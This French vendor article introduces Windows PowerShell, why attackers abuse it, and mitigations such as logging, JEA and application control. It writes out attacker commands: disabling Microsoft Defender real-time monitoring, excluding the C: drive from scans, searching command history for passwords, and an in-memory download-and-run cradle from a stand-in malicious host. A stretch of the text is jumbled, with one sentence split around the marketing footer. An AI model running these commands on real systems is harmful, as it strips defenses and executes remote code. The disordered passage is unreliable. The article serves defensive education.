Windows PowerShell est un langage de script puissant et un shell en ligne de commande permettant d'automatiser des tâches et de gérer des configurations. Ce guide explore les fonctionnalités et les capacités de PowerShell, y compris son rôle dans l'administration et la sécurité des systèmes.
Découvrez les commandes PowerShell courantes, les meilleures pratiques en matière de script et comment tirer parti de PowerShell à des fins de cybersécurité. La compréhension de PowerShell est essentielle pour les professionnels de l'informatique et les spécialistes de la sécurité.
Quel impact PowerShell peut-il avoir sur les actifs précieux de votre entreprise ? Découvrez les bases de PowerShell, pourquoi il est si attrayant pour les pirates informatiques et comment protéger votre entreprise
Microsoft PowerShell est un shell en ligne de commande et un langage de script utilisé pour automatiser des tâches et gérer des systèmes Windows. Il est couramment utilisé par les administrateurs et les professionnels de la sécurité pour automatiser des tâches routinières, gérer et surveiller des systèmes, et automatiser les réponses aux incidents de sécurité. Les pirates utilisent souvent PowerShell pour obtenir un accès non autorisé à des systèmes et exécuter du code malveillant.
Microsoft PowerShell est disponible sur Windows depuis 2006, mais il est désormais le shell de commande de l'Explorateur de fichiers sous Windows 10 et a largement remplacé l'ancien outil cmd.exe. Bien que souvent considéré comme obscur par les utilisateurs ordinaires, PowerShell est devenu indispensable pour les équipes informatiques et les administrateurs réseau en raison de sa flexibilité et de sa puissance. Dans ce guide d'introduction, nous vous expliquerons les bases de PowerShell, pourquoi il est attrayant pour les hackers et les auteurs de logiciels malveillants, et ce que vous pouvez faire pour protéger votre organisation.
Choisissez votre version
Si vous tapez " PowerShell " dans le champ de recherche de Cortana, plusieurs options s'affichent, notamment PowerShell ISE et l'application PowerShell Desktop. De plus, si vous cliquez avec le bouton droit sur le menu Démarrer ou sur l'une des icônes PowerShell de la barre des tâches, vous verrez qu'il existe deux façons différentes de lancer l'une ou l'autre version de PowerShell : en tant qu'utilisateur actuel ou en tant qu'administrateur.
Les administrateurs qui souhaitent automatiser des tâches courantes sont susceptibles d'utiliser l'interface ISE pour développer des modules et des scripts PowerShell, mais pour une utilisation interactive, la plupart choisiront l'application PowerShell Desktop et l'exécuteront en tant qu'administrateur ou utilisateur actuel, selon la tâche à accomplir.
Vous entendrez peut-être également parler de PowerShell Core, une édition open source multiplateforme qui fonctionne non seulement sous Windows, mais aussi sous Linux et macOS :
Attention toutefois, car il s'installe sous forme de fichier binaire non signé et pourrait facilement être remplacé par un imposteur malveillant. Si vous disposez de terminaux utilisant PowerShell Core, assurez-vous que votre organisation le signe avec un certificat approprié ou effectue régulièrement des vérifications shasum pour s'assurer qu'il n'a pas été altéré.
Bien qu'il existe certaines différences de capacités entre les différentes versions de PowerShell, elles peuvent toutes exécuter des sessions à distance via SSH et interagir avec une grande variété de processus et de services. PowerShell peut même interagir avec le registre Windows et le journal des événements. Tout cela signifie qu'un adversaire ayant accès à PowerShell dispose des mêmes accès et avantages.
Libérer la puissance
Vous pouvez vous faire une idée des capacités de PowerShell à l'aide de deux commandes simples :
Get-Module -ListAvailable
pour répertorier les modules disponibles, et
Get-Command
pour répertorier les commandes disponibles :
Examinons rapidement quelques exemples. Supposons que vous (ou un adversaire) naviguiez dans un répertoire de documents et que vous souhaitiez trouver rapidement s'il contient quelque chose d'intéressant. Une commande telle que celle ci-dessous affichera les deux premières et dernières lignes de chaque fichier texte du répertoire, en descendant de manière récursive dans les sous-répertoires et en incluant tous les fichiers cachés ou invisibles, puis en redirigeant la sortie vers un autre fichier texte pour une consultation ou une récupération ultérieure :
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Si quelqu'un recherchait des documents pouvant commencer par " Confidentiel " ou se terminer par le poste de l'auteur, tel que " Directeur financier ", cela pourrait être un moyen " rapide et approximatif " d'énumérer les éléments d'intérêt.
Pour supprimer un élément, peut-être afin d'effacer toute trace d'intrusion, il suffit simplement de
Remove-Item <path>
PowerShell permet également aux utilisateurs de manipuler le système d'exploitation de manière intéressante, mais malheureusement dangereuse. Si un malware souhaite contourner le moteur antivirus préinstallé Microsoft Defender, l'exécution d'une commande PowerShell avec les privilèges appropriés peut le désactiver :
Set-MpPreference -DisableRealTimeMonitoring $true
ou, de manière un peu plus discrète, exclure un lecteur ou un chemin d'accès de ses chemins de recherche :
Add-MpPreference -ExclusionPath " c: "
PowerShell permet également aux pirates informatiques d'énumérer facilement vos lecteurs réseau et d'appeler le journal des événements, un moyen utile pour trouver des informations exploitables, avec Get-PSDrive et Get-EventLog, respectivement.
Un outil utile tant pour les utilisateurs que pour les personnes malintentionnées est la possibilité de lire l'historique des commandes, y compris les arguments qui leur ont été transmis, qui ont été saisies de manière interactive sur la ligne de commande. L'historique est stocké à l'emplacement indiqué par cette commande :
(Get-PSReadLineOption).HistorySavePath
et nous pouvons utiliser cat et l'applet de commande Select-String (ou son alias sls) pour effectuer efficacement une recherche "grep” ou rechercher les éléments qui nous intéressent dans les commandes (par exemple, comme les mots de passe !) :
Scripts et kits d'exploitation
Cependant, l'utilisation de PowerShell en ligne de commande n'est pas ce qui offre les meilleures opportunités aux acteurs malveillants. Ce qui est plus dangereux, c'est la capacité de PowerShell à exécuter des scripts à la fois enmémoire (attaques de logiciels malveillants " sans fichier ") et à partir du disque. Ces deux types de scripts peuvent être exécutés soit directement sur un hôte, soit à distance. À l'instar de la commande shell Unix Sans surprise, il n'a pas fallu longtemps pour que des cadres d'exploitation complets apparaissent, exploitant pleinement le potentiel de PowerShell. Le premier d'entre eux est PowerSploit, une collection de scripts PowerShell qui permettent de manipuler et de contrôler l'ordinateur d'une victime. PowerShell Empire s'appuie sur les travaux de PowerSploit et plusieurs autres projets pour créer un outil post-exploitation capable d'échapper à la détection réseau, d'exécuter des enregistreurs de frappe et d'autres modules tels que Mimikatz pour extraire des mots de passe en clair, des hachages de mots de passe et d'autres données directement de la mémoire. La création de scripts PowerShell et de commandes PowerShell pouvant être exécutés à partir d'autres types de fichiers Windows , .exe, .bat, .wsf et .LNK est l'une des raisons pour lesquelles les logiciels malveillants basés sur PowerShell sont en augmentation ces dernières années. Selon une estimation affirmant que les exploits PowerShell représentent près de 40 % des incidents liés aux logiciels malveillants, il ne fait aucun doute que les adversaires l'utilisent dans une grande variété de campagnes, allant des ransomware au vol d'identifiants et aux chevaux de Troie bancaires. PowerShell a également été impliqué dans des cas de fraude au clic, de vol de mots de passe et d'exfiltration de données. DNSMessenger est un logiciel malveillant qui a été repéré dans une macro de document Word. Il utilise intelligemment le code source VBA pour délivrer des commandes PowerShell encodées afin d'assurer sa persistance, de délivrer sa charge utile et de communiquer avec un serveur C&C. Étonnamment, certaines attaques PowerShell ne nécessitent même pas le fichier PowerShell.exe intégré. Des outils tels que PowerShdll et InsecurePowerShell peuvent exécuter des scripts directement en exploitant le fichier System.Management.Automation.dll qui sous-tend le binaire PowerShell. En bref, l'exécutable PowerShell n'est qu'un hôte ou un wrapper pour le code réel dans la bibliothèque de liens dynamiques. Les attaques peuvent exploiter cela pour amener pratiquement n'importe quel processus à exécuter des scripts et des commandes PowerShell. D'autres utilisations créatives de PowerShell consistent à intégrer un script PowerShell dans les pixels d'un fichier PNG et à générer une ligne de commande pour l'exécuter à l'aide de Invoke-PSImage, ou la conversion de scripts PowerShell en fichiers EXE à l'aide d'outils tels que PS2EXE. Tout cela montre clairement que le simple fait de bloquer PowerShell.exe serait futile, sans parler du lourd fardeau que cela représenterait pour les administrateurs système qui comptent désormais sur les fonctionnalités offertes par PowerShell. Il8217;est important de comprendre que PowerShell et les DLL qui le sous-tendent font partie intégrante du système d'exploitation Windows, et avec l'avènement de PowerShell Core, cette puissance s'étend aux possibilités d'administration multiplateforme que les entreprises peuvent juger essentielles. Une solution d'entreprise efficace pour gérer la double nature de PowerShell est une solution telle que SentinelOne, qui examine le comportement des processus s'exécutant sur le terminal. Elle est efficace car elle fonctionne de manière similaire, quelle que soit la manière dont les attaques de logiciels malveillants sont mises en œuvre. L'agent SentinelOne surveille toutes les activités sur l'agent afin de distinguer les activités malveillantes des activités bénignes. Étant donné que l'agent dispose déjà du contexte complet (utilisateurs, processus, arguments de ligne de commande, registre, fichiers sur le disque et communications externes), les activités malveillantes peuvent être atténuées quelle que soit leur source. Vous aimez cet article ? Suivez-nous sur LinkedIn, Twitter, YouTube ou Facebook pour voir le contenu que nous publions. Améliorez votre posture de sécurité grâce à la détection en temps réel, à une réponse à la vitesse de la machine et à une visibilité totale de l'ensemble de votre environnement numérique. eval, PowerShell dispose de Invoke-Expression (et de son alias iex), qui permet de télécharger et d'exécuter un script malveillant en mémoire. Nous pouvons ajouter Bypass pour tenter de contourner une stratégie d'exécution restreinte :powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
L'essor des attaques PowerShell
Gestion de PowerShell
En savoir plus sur la sécurité Windows
Cybersécurité alimentée par l'IA
FAQ Windows PowerShell
Windows PowerShell est un shell en ligne de commande et un langage de script Microsoft basé sur le framework .NET. Il vous permet d'utiliser des applets de commande (cmdlets), des commandes simples composées d'un verbe et d'un nom, pour automatiser des tâches telles que la gestion du système de fichiers, du registre et des services.
PowerShell gère et renvoie des objets plutôt que du texte brut, ce qui vous permet de transférer des données structurées d'une applet de commande à l'autre. Il prend également en charge la communication à distance, les modules et l'aide intégrée à la console pour la gestion du système.
Contrairement à l'ancien CMD, PowerShell utilise des applets de commande au format verbe-nom et fonctionne avec des objets .NET plutôt qu'avec des flux de texte. Cela signifie que vous pouvez enchaîner des commandes via des pipelines sans analyser le texte. Les scripts PowerShell peuvent appeler directement les API .NET, offrent une gestion des erreurs plus riche et prennent en charge les modules.
Les shells traditionnels ne gèrent que le texte brut et les scripts batch de base, tandis que PowerShell fournit un environnement de script complet pour l'automatisation et la configuration.
L'intégration système approfondie et la puissance de script de PowerShell en font un outil privilégié tant pour les administrateurs que pour les pirates. Les acteurs malveillants utilisent des techniques sans fichier (exécution de scripts en mémoire) pour échapper à la détection.
PowerShell peut désactiver les défenses, télécharger du code malveillant ou voler des identifiants sans toucher au disque. Son omniprésence dans Windows signifie que les défenseurs doivent considérer l'activité PowerShell comme hautement risquée et la surveiller de près pour détecter tout abus.
Dans une étude Cisco, PowerShell était impliqué dans plus d'un tiers des menaces de sécurité critiques sur les terminaux. Carbon Black a signalé une utilisation abusive de PowerShell dans 38 % des incidents, souvent dans le cadre d'actions post-exploitation telles que des mouvements latéraux ou le vol d'identifiants.
Même si son utilisation normale est faible, PowerShell apparaît dans environ un incident malveillant confirmé sur quatorze.
Activez toutes les journaux PowerShell : journaux de module, journaux de bloc de script et transcription. Définissez la taille du journal sur au moins 150 Mo et collectez les événements à partir de
Microsoft-Windows-PowerShell/Operational et PowerShellCore/Operational. Transférez les journaux vers SIEM ou XDR. Bloquez les scripts provenant de parents non fiables et limitez la politique d'exécution aux scripts signés uniquement. Activez la journalisation des événements protégés pour obtenir plus de détails.
Utilisez l'administration juste suffisante (JEA) pour limiter l'accès des utilisateurs aux cmdlets approuvés. Appliquez le mode de langage restreint pour désactiver COM, WMI et les expressions complexes. Déployez des stratégies de contrôle des applications (par exemple, WDAC) pour mettre en liste blanche les scripts signés.
Maintenez PowerShell à jour vers la version 5.1 ou ultérieure. Vérifiez et ajustez régulièrement les paramètres de journalisation pour vous assurer que chaque invocation de script est enregistrée.
Le blocage complet de PowerShell peut perturber la gestion du système et l'administration à distance. Microsoft déconseille de le supprimer complètement. Il est préférable de limiter son exécution aux administrateurs autorisés, d'appliquer un contrôle des applications et d'empêcher PowerShell de se lancer sous des applications mères non fiables telles que les applications Office.
Associées à la journalisation et à la surveillance, ces mesures de contrôle permettent d'empêcher la plupart des utilisations malveillantes sans perturber les opérations légitimes.
PowerShell permet aux défenseurs d'automatiser la réponse aux incidents, de collecter rapidement des données d'investigation et de traquer les menaces. Vous pouvez écrire des scripts pour rassembler des artefacts de registre, des listes de processus et des connexions réseau en quelques minutes. L'apprentissage de PowerShell aide également à comprendre les techniques des attaquants, car de nombreux outils post-exploitation (Empire, Cobalt Strike) utilisent PowerShell en arrière-plan.
Les scripts PowerShell peuvent collecter la mémoire vive, les clés d'exécution du registre, les journaux d'événements et les données réseau à des fins de triage. Les outils communautaires tels que DFIR-Script automatisent la collecte de preuves sur les terminaux. Les chasseurs utilisent PowerShell pour interroger l'ID d'événement Windows 4104 à la recherche de blocs de scripts malveillants, analyser les résultats et les intégrer dans les playbooks SOAR. Cela fait de PowerShell un élément central des workflows de détection, de confinement et de remédiation.

